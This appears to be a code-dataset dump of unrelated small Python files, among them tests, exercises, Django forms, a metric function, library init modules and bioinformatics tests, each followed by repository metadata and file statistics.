from pathlib import Path from fhirzeug.generator import generate from fhirzeug.fhirspec import FHIRSpec def test_write(spec: FHIRSpec, tmp_path: Path): spec.generator_config.output_directory.destination = tmp_path spec.generator_config.output_file.destination = Path("output.py") generate(spec) assert tmp_path.joinpath("output.py").is_file()
30.166667
69
0.787293
49
362
5.632653
0.44898
0.076087
0.123188
0.166667
0.210145
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0.124309
362
11
70
32.909091
0.870662
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0
0
0
1
0
0
0
0
3
b62e3b273084a90d44d9b735364ee439b8417ee2
164
py
Python
code/abc117_c_01.py
KoyanagiHitoshi/AtCoder
731892543769b5df15254e1f32b756190378d292
[ "MIT" ]
3
2019-08-16T16:55:48.000Z
2021-04-11T10:21:40.000Z
code/abc117_c_01.py
KoyanagiHitoshi/AtCoder
731892543769b5df15254e1f32b756190378d292
[ "MIT" ]
null
null
null
code/abc117_c_01.py
KoyanagiHitoshi/AtCoder
731892543769b5df15254e1f32b756190378d292
[ "MIT" ]
null
null
null
N,M=map(int,input().split()) X=sorted(set(list(map(int,input().split())))) s=[] for i in range(M-1): s.append(X[i+1]-X[i]) s=sorted(s)[::-1] print(sum(s[N-1:]))
23.428571
45
0.573171
37
164
2.540541
0.513514
0.12766
0.234043
0.340426
0
0
0
0
0
0
0
0.02649
0.079268
164
7
46
23.428571
0.596026
0
0
0
0
0
0
0
0
0
0
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1
0
false
0
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0.142857
0
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null
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0
0
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null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b656d9867f056795fcb0613d2497677c41ee347e
395
py
Python
Curso Python/PythonExercicios/ex020.py
marcos-saba/Cursos
1c063392867e9ed86d141dad8861a2a35488b1c6
[ "MIT" ]
null
null
null
Curso Python/PythonExercicios/ex020.py
marcos-saba/Cursos
1c063392867e9ed86d141dad8861a2a35488b1c6
[ "MIT" ]
null
null
null
Curso Python/PythonExercicios/ex020.py
marcos-saba/Cursos
1c063392867e9ed86d141dad8861a2a35488b1c6
[ "MIT" ]
null
null
null
import random al1 = input('Digite o nome do(a) primeiro(a) aluno(a): ') al2 = input('Digite o nome do (a) segundo(a) aluno(a): ') al3 = input('Digite o nome do(a) terceiro(a) aluno(a): ') al4 = input('Digite o nome do(a) quarto(a) aluno(a): ') lista = [al1, al2, al3, al4] random.shuffle(lista) print(f'A ordem dos alunos para a apresentação será: \n{lista}.') #from random import shuffle
24.6875
65
0.665823
70
395
3.757143
0.414286
0.1673
0.18251
0.243346
0.288973
0.288973
0
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0
0
0.024242
0.164557
395
15
66
26.333333
0.772727
0.065823
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0.610497
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false
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0
0
0
0
0
0
0
0
3
b675c834f4af3a0b82b1bf6826fca2734b7ad156
652
py
Python
app/test.py
erics1996/D5-Video
cb07e211c821e805296f24d28c80ac6fb99bfd5d
[ "Apache-2.0" ]
1
2020-09-26T14:03:48.000Z
2020-09-26T14:03:48.000Z
app/test.py
erics1996/d5_video
cb07e211c821e805296f24d28c80ac6fb99bfd5d
[ "Apache-2.0" ]
null
null
null
app/test.py
erics1996/d5_video
cb07e211c821e805296f24d28c80ac6fb99bfd5d
[ "Apache-2.0" ]
null
null
null
import redis # 测试连接redis """ if __name__ == '__main__': conn = redis.Redis(host='127.0.0.1', port=6379) if conn: print('ok') else: print('error') """ # 测试session是否保存在redis中 """ if __name__ == '__main__': conn = redis.Redis(host='127.0.0.1', port=6379, password='foobared') print(conn.keys()) """ """ [ b'session:eyJjc3JmX3Rva2VuIjoiNWNhMTdiYzJlOGFkZjc5NDZjODA0ODkzNzk4NTY2NzIxYjBkNWVmNiIsInVzZXIiOiJlcmljcyIsInVzZXJfaWQiOjF9.Xw2bFQ.tYod_F02MDofFCLR3aUs5BBEKQs', b'session:eyJjc3JmX3Rva2VuIjoiNWNhMTdiYzJlOGFkZjc5NDZjODA0ODkzNzk4NTY2NzIxYjBkNWVmNiIsInVzZXJfaWQiOjF9.Xwt53A.ucQMG-hSprAb8YMhWep-lY2RqCE' ] """
27.166667
163
0.736196
55
652
8.418182
0.581818
0.025918
0.043197
0.060475
0.181425
0.181425
0.181425
0.181425
0.181425
0.181425
0
0.079225
0.128834
652
23
164
28.347826
0.735915
0.046012
0
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true
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0
0
1
0
1
0
1
0
0
3
b67fc419ca923c33d18cdee4e07420f2516e020f
164
py
Python
metric.py
Nozdi/kaggle-bike-share-demand
715b61ff3560c65f1581bda7cc5baec9cf5e76dd
[ "MIT" ]
null
null
null
metric.py
Nozdi/kaggle-bike-share-demand
715b61ff3560c65f1581bda7cc5baec9cf5e76dd
[ "MIT" ]
null
null
null
metric.py
Nozdi/kaggle-bike-share-demand
715b61ff3560c65f1581bda7cc5baec9cf5e76dd
[ "MIT" ]
null
null
null
import numpy as np def rmsle(y_pred, y_true): assert len(y_pred) == len(y_true) return np.sqrt(np.mean(np.power(np.log1p(y_pred) - np.log1p(y_true), 2)))
23.428571
77
0.676829
33
164
3.181818
0.515152
0.142857
0.152381
0
0
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0.021739
0.158537
164
6
78
27.333333
0.73913
0
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0.25
1
0.25
false
0
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0
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1
0
0
0
0
1
0
0
3
b68c8ddc9fcd55d3cc2b24d17d5af2efe3ae5c5d
559
py
Python
decaylanguage/__init__.py
ch2ohch2oh/decaylanguage
7cb01e787ea9d193b87ae0978f2dfb4e469a1276
[ "BSD-3-Clause" ]
null
null
null
decaylanguage/__init__.py
ch2ohch2oh/decaylanguage
7cb01e787ea9d193b87ae0978f2dfb4e469a1276
[ "BSD-3-Clause" ]
null
null
null
decaylanguage/__init__.py
ch2ohch2oh/decaylanguage
7cb01e787ea9d193b87ae0978f2dfb4e469a1276
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2018-2019, Eduardo Rodrigues and Henry Schreiner. # # Distributed under the 3-clause BSD license, see accompanying file LICENSE # or https://github.com/scikit-hep/decaylanguage for details. # Convenient access to the version number from ._version import __version__ # Direct access to decay file parsing tools from .dec import DecFileParser # Direct access to decay chain visualization tools from .decay import DecayChainViewer # Direct access to decay chain representation classes from .decay import DaughtersDict, DecayMode, DecayChain
31.055556
75
0.805009
74
559
6.013514
0.662162
0.07191
0.094382
0.12809
0.107865
0
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0.018789
0.143113
559
17
76
32.882353
0.91023
0.679785
0
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true
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1
0
1
0
0
3
b697b0465a2f226e6e6c630a304d08f2c89fe273
194
py
Python
apps/verifications/urls.py
Jiafauser/News_blog
a3fec19c5e58c50c40268144e2f52820b24cc5d6
[ "Unlicense" ]
null
null
null
apps/verifications/urls.py
Jiafauser/News_blog
a3fec19c5e58c50c40268144e2f52820b24cc5d6
[ "Unlicense" ]
null
null
null
apps/verifications/urls.py
Jiafauser/News_blog
a3fec19c5e58c50c40268144e2f52820b24cc5d6
[ "Unlicense" ]
null
null
null
from django.urls import path from . import views app_name = 'verifications' urlpatterns = [ path('image_codes/<uuid:image_code_id>/', views.ImageCode.as_view(), name='image_codes'), ]
27.714286
94
0.716495
26
194
5.115385
0.692308
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194
7
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27.714286
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0
0
0
3
b6ae292cc8493ab3e2e2c6eb93e74e867f7a5a45
109
py
Python
Tupleusinghash.py
bjoffficial/Python
73e6fdc19a1bec18488405c4a60c30ba68581ce5
[ "Apache-2.0" ]
null
null
null
Tupleusinghash.py
bjoffficial/Python
73e6fdc19a1bec18488405c4a60c30ba68581ce5
[ "Apache-2.0" ]
null
null
null
Tupleusinghash.py
bjoffficial/Python
73e6fdc19a1bec18488405c4a60c30ba68581ce5
[ "Apache-2.0" ]
null
null
null
if __name__ == '__main__': n = int(input()) qus=tuple(map(int,input().split())) print(hash(qus))
21.8
39
0.577982
15
109
3.666667
0.8
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0.192661
109
4
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27.25
0.625
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false
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0.25
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0
0
0
0
0
0
3
fcc9d5e6a05c79b1bf39adf1c4fcd4c98f9a6d85
95
py
Python
scorecards/apps.py
moshthepitt/probsc
9b8cab206bb1c41238e36bd77f5e0573df4d8e2d
[ "MIT" ]
null
null
null
scorecards/apps.py
moshthepitt/probsc
9b8cab206bb1c41238e36bd77f5e0573df4d8e2d
[ "MIT" ]
null
null
null
scorecards/apps.py
moshthepitt/probsc
9b8cab206bb1c41238e36bd77f5e0573df4d8e2d
[ "MIT" ]
null
null
null
from django.apps import AppConfig class ScorecardsConfig(AppConfig): name = 'scorecards'
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7.3
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95
5
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19
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3
fcd7544768bb3229ec5e9ae800a2ea3ee4d1fbda
603
py
Python
asyncmy/sa/__init__.py
dnp1/asyncmy
ae8a09e4d7d64d6d5cb448b7d7154e715071d414
[ "Apache-2.0" ]
1
2021-10-22T01:35:21.000Z
2021-10-22T01:35:21.000Z
asyncmy/sa/__init__.py
dnp1/asyncmy
ae8a09e4d7d64d6d5cb448b7d7154e715071d414
[ "Apache-2.0" ]
null
null
null
asyncmy/sa/__init__.py
dnp1/asyncmy
ae8a09e4d7d64d6d5cb448b7d7154e715071d414
[ "Apache-2.0" ]
null
null
null
"""Optional support for sqlalchemy.sql dynamic query generation.""" from asyncmy.sa.connection import SAConnection from .engine import create_engine, Engine from .exc import (Error, ArgumentError, InvalidRequestError, NoSuchColumnError, ResourceClosedError) from . import result __all__ = ('create_engine', 'SAConnection', 'Error', 'ArgumentError', 'InvalidRequestError', 'NoSuchColumnError', 'ResourceClosedError', 'Engine', 'result') (SAConnection, Error, ArgumentError, InvalidRequestError, NoSuchColumnError, ResourceClosedError, create_engine, Engine)
35.470588
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0.749585
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603
8.72549
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0.249438
0.364045
0.546067
0.382022
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0.154229
603
16
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37.6875
0.872549
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0
0
1
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0
0
0
3
fcf9aa65396644ce8956039d18797ae05615fb61
19
py
Python
fossa/__init__.py
tresni/fossa
38a25d2c9091bbe28462a596fcfedd1179880358
[ "MIT" ]
null
null
null
fossa/__init__.py
tresni/fossa
38a25d2c9091bbe28462a596fcfedd1179880358
[ "MIT" ]
null
null
null
fossa/__init__.py
tresni/fossa
38a25d2c9091bbe28462a596fcfedd1179880358
[ "MIT" ]
null
null
null
APP_NAME = "fossa"
9.5
18
0.684211
3
19
4
1
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0.157895
19
1
19
19
0.75
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0.263158
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null
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0
0
0
0
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0
0
0
0
3
fcfa435f98d43ada5cc2452165b6ea6be9181640
1,188
py
Python
src/boost_histogram/_internal/storage.py
andrzejnovak/boost-histogram
cdbfabb1c22f5545bf3900be01f2025411e699f1
[ "BSD-3-Clause" ]
105
2019-03-08T14:59:37.000Z
2022-03-11T12:46:17.000Z
src/boost_histogram/_internal/storage.py
andrzejnovak/boost-histogram
cdbfabb1c22f5545bf3900be01f2025411e699f1
[ "BSD-3-Clause" ]
400
2019-03-11T23:10:18.000Z
2022-03-25T14:02:06.000Z
src/boost_histogram/_internal/storage.py
andrzejnovak/boost-histogram
cdbfabb1c22f5545bf3900be01f2025411e699f1
[ "BSD-3-Clause" ]
25
2019-03-11T18:02:31.000Z
2022-03-10T20:14:22.000Z
import boost_histogram from .._core import storage as store from .utils import set_module # Simple mixin to provide a common base class for types class Storage: _family: object def __init_subclass__(cls, *, family: object) -> None: super().__init_subclass__() cls._family = family def __repr__(self) -> str: return f"{self.__class__.__name__}()" @set_module("boost_histogram.storage") class Int64(store.int64, Storage, family=boost_histogram): pass @set_module("boost_histogram.storage") class Double(store.double, Storage, family=boost_histogram): pass @set_module("boost_histogram.storage") class AtomicInt64(store.atomic_int64, Storage, family=boost_histogram): pass @set_module("boost_histogram.storage") class Unlimited(store.unlimited, Storage, family=boost_histogram): pass @set_module("boost_histogram.storage") class Weight(store.weight, Storage, family=boost_histogram): pass @set_module("boost_histogram.storage") class Mean(store.mean, Storage, family=boost_histogram): pass @set_module("boost_histogram.storage") class WeightedMean(store.weighted_mean, Storage, family=boost_histogram): pass
22.846154
73
0.751684
150
1,188
5.62
0.3
0.24911
0.116251
0.190985
0.569395
0.569395
0.481613
0.481613
0.481613
0.481613
0
0.007851
0.142256
1,188
51
74
23.294118
0.819431
0.044613
0
0.451613
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0.165931
0
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0.064516
false
0.225806
0.096774
0.032258
0.483871
0
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null
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0
0
0
1
0
0
0
0
0
3
1e04313b1a59f752d444d642a7310789f916860e
6,410
py
Python
CrudSimulation/forms.py
CodexLink/AdvancedCRUD-Django
aea8da56b1713735196f675a5c0acf2dde974616
[ "MIT" ]
1
2020-04-13T03:35:19.000Z
2020-04-13T03:35:19.000Z
CrudSimulation/forms.py
CodexLink/AdvancedCRUD-Django
aea8da56b1713735196f675a5c0acf2dde974616
[ "MIT" ]
6
2020-04-12T17:59:08.000Z
2021-09-22T18:52:24.000Z
CrudSimulation/forms.py
CodexLink/Django_Single_Page_CRUD
b37bc61bed2434a3e35ca7afe3b99e95a2289487
[ "MIT" ]
1
2020-05-03T14:00:32.000Z
2020-05-03T14:00:32.000Z
from django import forms from django.core.validators import MaxValueValidator, MinValueValidator from .additionals.metaData import * from .models import UserCredentials, UserTasks, UserDepartment from django.contrib.auth.forms import AuthenticationForm class AuthForm(AuthenticationForm, forms.ModelForm): class Meta: model = UserCredentials fields = ['username', 'password'] username = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'validationUsername', 'placeholder': 'Required'})) password = forms.CharField(min_length=2, max_length=128, required=True, widget=forms.PasswordInput(attrs={'type': 'password', 'class': 'form-control', 'id': 'validationPassword', 'placeholder': 'Required'})) class UserTaskAdditionForm(forms.ModelForm): class Meta: model = UserTasks fields = '__all__' exclude = ['Task_UUID', 'Task_CreateDate', 'Task_Owner'] Task_Name = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'addDataTaskName', 'placeholder': 'Required'})) Task_Description = forms.CharField(min_length=2, max_length=512, required=True, widget=forms.Textarea(attrs={'class': 'form-control', 'id':'addTaskDescription', 'placeholder': 'Required'})) Task_Type = forms.ChoiceField(choices=TaskTypes, required=True, widget=forms.Select(attrs={'class': 'form-control', 'id':'addDataTaskType', 'placeholder': 'Required'})) Task_StartTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'addTaskStartTime', 'placeholder': 'Start DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': '2099/12/31T000:00' })) Task_EndTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'addTaskEndTime', 'placeholder': 'End DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': '2099/12/31T000:00' })) class UserTaskUpdateForm(forms.ModelForm): class Meta: model = UserTasks fields = '__all__' exclude = ['Task_UUID', 'Task_CreateDate', 'Task_Owner'] Task_Name = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'modifyDataTaskName', 'placeholder': 'Required'})) Task_Description = forms.CharField(min_length=2, max_length=512, required=True, widget=forms.Textarea(attrs={'class': 'form-control', 'id': 'modifyTaskDescription', 'placeholder': 'Required'})) Task_Type = forms.ChoiceField(choices=TaskTypes, required=True, widget=forms.Select(attrs={'class': 'form-control', 'id': 'modifyDataTaskType', 'placeholder': 'Required'})) Task_StartTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'modifyTaskStartTime', 'placeholder': 'Start DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': "2099/12/31T000:00" })) Task_EndTime = forms.DateTimeField(input_formats=['%Y-%m-%dT%H:%M'], required=True, widget=forms.DateTimeInput(attrs={'class': 'form-control', 'id':'modifyTaskEndTime', 'placeholder': 'End DateTime', 'type': 'datetime-local', 'min': '2020/04/01T000:00', 'max': "2099/12/31T000:00" })) def clean(self): return super(UserTaskUpdateForm, self).clean() class RegistrationForm(forms.ModelForm): class Meta: model = UserCredentials fields = [ 'first_name', 'middle_name', 'last_name', 'email', 'dept_residence', 'username', 'password', 'avatar' ] username = forms.CharField(min_length=2, max_length=150, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'id': 'validationUsername', 'placeholder': 'Required'})) password = forms.CharField(min_length=2, max_length=128, required=True, widget=forms.PasswordInput(attrs={'type': 'password', 'class': 'form-control', 'id': 'validationPassword', 'placeholder': 'Required'})) confirm_password = forms.CharField(min_length=2, max_length=128, required=True, widget=forms.PasswordInput(attrs={'type': 'password', 'class': 'form-control', 'id': 'validationPassword', 'placeholder': 'Required'})) first_name = forms.CharField(min_length=2, max_length=50, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Required'})) middle_name = forms.CharField(min_length=2, max_length=50, required=False, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Optional'})) last_name = forms.CharField(min_length=2, max_length=50, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Required'})) email = forms.CharField(max_length=50, required=True, widget=forms.TextInput(attrs={'class': 'form-control', 'type': 'email', 'placeholder': 'Required'})) avatar = forms.ImageField(required=False, allow_empty_file=True, widget=forms.FileInput(attrs={'accept': 'image/jpg, image/jpeg, image/png', 'class':'form-control-file', 'type':'file'})) dept_residence = forms.ModelChoiceField(queryset=UserDepartment.objects.all(), widget=forms.Select(attrs={'class': 'custom-select', 'id':'requireDeptResidence', 'placeholder': 'Required'}), to_field_name='Department_Name', empty_label="Nothing Selected...") def clean(self, *args, **kwargs): cleaned_data = super(RegistrationForm, self).clean() password = cleaned_data.get("password") confirm_password = cleaned_data.get("confirm_password") objectDuplicateCheck = UserCredentials.objects.filter( username=cleaned_data['username'], first_name=cleaned_data['first_name'], last_name=cleaned_data['last_name'], email=cleaned_data['email'] ).count() if objectDuplicateCheck: raise forms.ValidationError("Some of your credentials are conflicting with the existing accounts! Did you register before? Ask the developer please.") if password != confirm_password: raise forms.ValidationError("Your Password and Password Confirmation Field does not match!") return cleaned_data
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3
1e1adf5c90b9d3bac8d132f53c4fd34036e51397
2,074
py
Python
regex/ex05.py
stormabq/python-examples
1c1acfc3863a2cf1a9e202c9299f3a526858eb34
[ "MIT" ]
1
2021-12-12T04:39:53.000Z
2021-12-12T04:39:53.000Z
regex/ex05.py
stormabq/python-examples
1c1acfc3863a2cf1a9e202c9299f3a526858eb34
[ "MIT" ]
null
null
null
regex/ex05.py
stormabq/python-examples
1c1acfc3863a2cf1a9e202c9299f3a526858eb34
[ "MIT" ]
6
2020-05-05T17:21:28.000Z
2021-12-12T04:39:57.000Z
## See the html directory in this repo import re def get_name_and_number(input): m = re.match(r"(?P<x0>Organism) (?P<x1>.*) (?P<x2>has) (?P<x3>\d+)", input) if m == None: return None r1 = m.group("x1") r2 = m.group("x3") mytuple = (r1, r2) return mytuple testary = [ "Organism Enterococcus sp. 8G7_MSG3316 has 2625 proteins with network connections.,overview.1834191.html", "Organism Lachnoclostridium sp. YL32 has 4965 proteins with network connections.,overview.1834196.html", "Organism Hungateiclostridiaceae bacterium KB18 has 2724 proteins with network connections.,overview.1834198.html", "Organism Burkholderiales bacterium YL45 has 2039 proteins with network connections.,overview.1834205.html", "Organism Erysipelotrichaceae bacterium I46 has 3171 proteins with network connections.,overview.1834207.html", "Organism Frankia sp. BMG5.36 has 6664 proteins with network connections.,overview.1834512.html", "Organism Frankia asymbiotica has 5603 proteins with network connections.,overview.1834516.html", "Organism Fibrella sp. ES10-3-2-2 has 4013 proteins with network connections.,overview.1834519.html", "Organism Saccharothrix sp. CB00851 has 6645 proteins with network connections.,overview.1835005.html", "Organism Polynucleobacter duraquae has 1813 proteins with network connections.,overview.1835254.html", "Organism Penicillium arizonense has 6768 proteins with network connections.,overview.1835702.html", "Organism secondary endosymbiont of Trabutina mannipara has 231 proteins with network connections.,overview.11.html", "Organism Arthrobacter sp. OY3WO11 has 3385 proteins with network connections.,overview.1835723.html", "Organism Maribacter sp. T28 has 3118 proteins with network connections.,overview.1836467.html", "Organism Phytoplasma sp. Vc33 has 369 proteins with network connections.,overview.1836886.html", "Organism Shewanella colwelliana has 3467 proteins with network connections.", ] for i in testary: print(get_name_and_number(i))
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3
1e1f6283140215b06df34b5565f0d75e854b79a7
943
py
Python
Aula01/Exercicio03.py
gabriel-correia0408/Sala_Green_GabrielCorreia
1d22f466d372786c5f8c8eaba7202844b5f03445
[ "Apache-2.0" ]
null
null
null
Aula01/Exercicio03.py
gabriel-correia0408/Sala_Green_GabrielCorreia
1d22f466d372786c5f8c8eaba7202844b5f03445
[ "Apache-2.0" ]
null
null
null
Aula01/Exercicio03.py
gabriel-correia0408/Sala_Green_GabrielCorreia
1d22f466d372786c5f8c8eaba7202844b5f03445
[ "Apache-2.0" ]
null
null
null
# Classe Circulo: Crie uma classe que modele uma bola: # # Atributos: Cor, raio, material # Métodos: trocaCor, mostraCor, area (math.pi*raio**2) # para acessar o pi: # import math # math.pi # Classe Quadrado: Crie uma classe que modele um quadrado: # # Atributos: Tamanho do lado # Métodos: Mudar valor do Lado, Retornar valor do Lado e calcular Área; # area = lateral*lateral # Classe Retangulo: Crie uma classe que modele um retangulo: # # Atributos: LadoA, LadoB (ou Comprimento e Largura, ou Base e Altura, a escolher) # Métodos: Mudar valor dos lados, Retornar valor dos lados, calcular Área; # area comprimento*largura # crite testes para validar cada uma destas classes! class Circulo: def __init__(self,cor,raio,material): self.cor = cor self.raio = raio self.material = material def set_Cor(self,cor): pass def get_Cor(self): pass def calculo_area(self): pass
23.575
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3
1e366c09791897360353aaacf043f05a0076f0a2
680
py
Python
bagpipe/exabgp/message/update/attribute/labels.py
taheri0/MPLS-over-GRE
7d14b819d396b7779b02ea1150bcaf412cb6d36c
[ "Apache-2.0" ]
94
2015-01-05T17:15:21.000Z
2022-01-09T20:05:16.000Z
bagpipe/exabgp/message/update/attribute/labels.py
taheri0/MPLS-over-GRE
7d14b819d396b7779b02ea1150bcaf412cb6d36c
[ "Apache-2.0" ]
18
2015-03-16T16:16:55.000Z
2017-03-27T11:22:38.000Z
bagpipe/exabgp/message/update/attribute/labels.py
taheri0/MPLS-over-GRE
7d14b819d396b7779b02ea1150bcaf412cb6d36c
[ "Apache-2.0" ]
36
2015-03-13T02:30:15.000Z
2021-06-22T10:10:23.000Z
# encoding: utf-8 """ labels.py Created by Thomas Mangin on 2009-11-05. Copyright (c) 2009-2012 Exa Networks. All rights reserved. Modified by Orange - 2014 """ from struct import pack #from bagpipe.exabgp.message.update.attribute import AttributeID,Flag,Attribute # =================================================================== Community class Label (object): def __init__ (self,label): self.label = label def pack (self): return pack('!L',self.label) def __str__ (self): return "NOT DONE" def __len__ (self): return 4 def __cmp__(self,other): if ( not isinstance(other,Label) or (self.label != other.label) ): return -1 else: return 0
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1e5ab18416df4205e5bf855cc62673e0bc16722c
467
py
Python
webhud/signaling/test/objects_test.py
eigendude/beachfronter
dd4eb5d719d93047c24cfaf32a96b291bf9056d8
[ "Apache-2.0" ]
null
null
null
webhud/signaling/test/objects_test.py
eigendude/beachfronter
dd4eb5d719d93047c24cfaf32a96b291bf9056d8
[ "Apache-2.0" ]
null
null
null
webhud/signaling/test/objects_test.py
eigendude/beachfronter
dd4eb5d719d93047c24cfaf32a96b291bf9056d8
[ "Apache-2.0" ]
null
null
null
################################################################################ # # Copyright (C) 2020 Aclima, Inc # This file is part of aclima-schema - https://github.com/Aclima/aclima-schema # # SPDX-License-Identifier: MIT # See DOCS/LICENSING.md for more information. # ################################################################################ import unittest class ObjectsTest(unittest.TestCase): def test_example(self) -> None: pass
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3
1e871e7be4f994cf1cfd89c9a4b868bc30e2a035
205
py
Python
settings/settings.py
Partycode/opentfd
2211012ccb3b96b5b48ae2ae27f874354e6ddc71
[ "Apache-2.0" ]
null
null
null
settings/settings.py
Partycode/opentfd
2211012ccb3b96b5b48ae2ae27f874354e6ddc71
[ "Apache-2.0" ]
null
null
null
settings/settings.py
Partycode/opentfd
2211012ccb3b96b5b48ae2ae27f874354e6ddc71
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: UTF-8 -*- import os APP_PATH = os.path.dirname(os.path.dirname(os.path.realpath(__file__))) SESSION_FILE_PATH = os.path.join(APP_PATH, 'settings', 'opentfd_session')
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3
1e941d0f1ea0bea6db578d655dff1e5ed3367636
781
py
Python
sap/cf_logging/formatters/json_formatter.py
mhaas/cf-python-logging-support
86b7e8ef35b935401bdec7da275fe4e09302988c
[ "Apache-2.0" ]
16
2017-11-30T06:17:07.000Z
2021-09-13T13:41:17.000Z
sap/cf_logging/formatters/json_formatter.py
mhaas/cf-python-logging-support
86b7e8ef35b935401bdec7da275fe4e09302988c
[ "Apache-2.0" ]
32
2017-12-01T14:48:17.000Z
2022-02-19T04:49:55.000Z
sap/cf_logging/formatters/json_formatter.py
mhaas/cf-python-logging-support
86b7e8ef35b935401bdec7da275fe4e09302988c
[ "Apache-2.0" ]
7
2018-03-08T15:52:55.000Z
2022-02-27T18:52:57.000Z
""" Module for the JsonFormatter """ import json import logging import sys from sap.cf_logging.record.simple_log_record import SimpleLogRecord def _default_serializer(obj): return str(obj) if sys.version_info[0] == 3: def _encode(obj): return json.dumps(obj, default=_default_serializer) else: def _encode(obj): return unicode(json.dumps(obj, default=_default_serializer)) # pylint: disable=undefined-variable class JsonFormatter(logging.Formatter): """ Format application log in JSON format """ def format(self, record): """ Format the known log records in JSON format """ if isinstance(record, SimpleLogRecord): return _encode(record.format()) return super(JsonFormatter, self).format(record)
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3
1e96de784904b01afc6ec3b2c98877a952ba909a
2,081
py
Python
src/compas_rhino/geometry/__init__.py
arpastrana/compas
ed677a162c14dbe562c82d72f370279259faf7da
[ "MIT" ]
null
null
null
src/compas_rhino/geometry/__init__.py
arpastrana/compas
ed677a162c14dbe562c82d72f370279259faf7da
[ "MIT" ]
null
null
null
src/compas_rhino/geometry/__init__.py
arpastrana/compas
ed677a162c14dbe562c82d72f370279259faf7da
[ "MIT" ]
null
null
null
""" ******************************************************************************** geometry ******************************************************************************** .. currentmodule:: compas_rhino.geometry .. rst-class:: lead Wrappers for Rhino objects that can be used to convert Rhino geometry and data to COMPAS objects. .. code-block:: python import compas_rhino from compas_rhino.geometry import RhinoMesh guid = compas_rhino.select_mesh() mesh = RhinoMesh.from_guid(guid).to_compas() ---- BaseRhinoGeometry ================= .. autoclass:: BaseRhinoGeometry :members: from_geometry, from_selection, to_compas, from_guid, from_object, transform ---- RhinoPoint ========== .. autoclass:: RhinoPoint :members: from_geometry, from_selection, to_compas :no-show-inheritance: ---- RhinoVector =========== .. autoclass:: RhinoVector :members: from_geometry, from_selection, to_compas :no-show-inheritance: ---- RhinoLine ========= .. autoclass:: RhinoLine :members: from_geometry, from_selection, to_compas :no-show-inheritance: ---- RhinoPlane ========== .. autoclass:: RhinoPlane :members: from_geometry, from_selection, to_compas :no-show-inheritance: ---- RhinoMesh ========= .. autoclass:: RhinoMesh :members: from_geometry, from_selection, to_compas :no-show-inheritance: ---- RhinoCurve ========== .. autoclass:: RhinoCurve :members: from_geometry, from_selection, to_compas :no-show-inheritance: ---- RhinoSurface ============ .. autoclass:: RhinoSurface :members: from_geometry, from_selection, to_compas :no-show-inheritance: """ from __future__ import absolute_import from .base import * # noqa: F401 F403 from .curve import * # noqa: F401 F403 from .line import * # noqa: F401 F403 from .mesh import * # noqa: F401 F403 from .plane import * # noqa: F401 F403 from .point import * # noqa: F401 F403 from .surface import * # noqa: F401 F403 from .vector import * # noqa: F401 F403 __all__ = [name for name in dir() if not name.startswith('_')]
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0
1
0
0
3
1e974270a6cf3fb3cecc5bb2513b8e4bc658f7b9
5,757
py
Python
tests/functional_test.py
Luxxii/ProtGraph
68c3b362e2b487403fa02cfc25d456a272004a1f
[ "BSD-2-Clause" ]
null
null
null
tests/functional_test.py
Luxxii/ProtGraph
68c3b362e2b487403fa02cfc25d456a272004a1f
[ "BSD-2-Clause" ]
null
null
null
tests/functional_test.py
Luxxii/ProtGraph
68c3b362e2b487403fa02cfc25d456a272004a1f
[ "BSD-2-Clause" ]
null
null
null
import os import unittest import protgraph class FunctionalTest(unittest.TestCase): @classmethod def setUpClass(cls): """ Set base Example Folder """ main_file_path = os.path.dirname(os.path.abspath(protgraph.__file__)) cls.examples_path = os.path.join(main_file_path, "..", "examples") cls.example_files = [ os.path.abspath(os.path.join(cls.examples_path, "e_coli.dat")), os.path.abspath(os.path.join(cls.examples_path, "p53_human.txt")) ] cls.procs_num = ["-n", "1"] def test_minimal(self): args = protgraph.parse_args([] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_none(self): args = protgraph.parse_args(["-ft", "NoNE"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_all(self): args = protgraph.parse_args(["-ft", "ALl"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_isoforms(self): args = protgraph.parse_args(["-ft", "VAR_SeQ"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_variants(self): args = protgraph.parse_args(["-ft", "VARIAnT"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_met(self): args = protgraph.parse_args(["-ft", "IniT_MET"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_signal(self): args = protgraph.parse_args(["-ft", "SIGnaL"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_digestion_skip(self): args = protgraph.parse_args(["-d", "skip"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_digestion_trypsin(self): args = protgraph.parse_args(["-d", "trypsin"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_digestion_full(self): args = protgraph.parse_args(["-d", "full"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_no_merge(self): args = protgraph.parse_args(["-nm"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_annotate_weights(self): args = protgraph.parse_args(["-aawe", "-amwe"] + self.procs_num + self.example_files) protgraph.prot_graph(**args) def test_replacement(self): args = protgraph.parse_args(["-raa", "A->b,C,d"] + self.procs_num + self.example_files) 